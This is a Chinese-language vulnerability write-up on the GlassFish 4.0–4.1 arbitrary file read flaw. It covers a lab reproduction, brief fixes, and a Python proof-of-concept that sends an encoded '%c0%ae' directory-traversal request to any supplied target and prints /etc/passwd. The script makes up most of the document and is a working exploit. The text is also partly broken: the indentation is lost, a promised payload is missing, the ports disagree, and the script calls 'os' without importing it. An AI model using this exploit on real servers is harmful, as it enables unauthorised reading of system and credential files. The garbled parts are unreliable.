一. 漏洞描述
glassfish是一款java编写的跨平台的开源的应用服务器。2015年10月,被爆出通用任意文件读取漏洞。利用这个漏洞,攻击者可读取服务器上任意文件。
与宽字节SQL注入一致,都是由于unicode编码歧义导致的。
影响版本:4.0至4.1
二. 漏洞复现
1. 环境搭建
使用vulhub中的环境搭建
访问8848
2. 构造如下payload:
java会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)。实现了目录穿越。
三. 漏洞修复
1. 过滤../字符
2. 升级
四. poc
import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
def url():
parser = argparse.ArgumentParser(description='GlassFish 任意文件读取 POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:4848')
args = parser.parse_args()
global url
url = args.target_url
#检测输入的url的正确性
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]GlassFish 任意文件读取 POC",)
print("[-]开始执行检测...")
print("[-]目标地址:",url)
return url
def check():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
poc = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
url_1 = url + poc
try:
text = requests.get(url_1,headers=headers,verify=False).text
print(text)
if "root:x:" in text:
print('漏洞存在')
else:
print('漏洞不存在')
except Exception as a:
print('发生错误',a)
if __name__ == '__main__':
url()
check()
——心,若没有栖息的地方,到哪都是流浪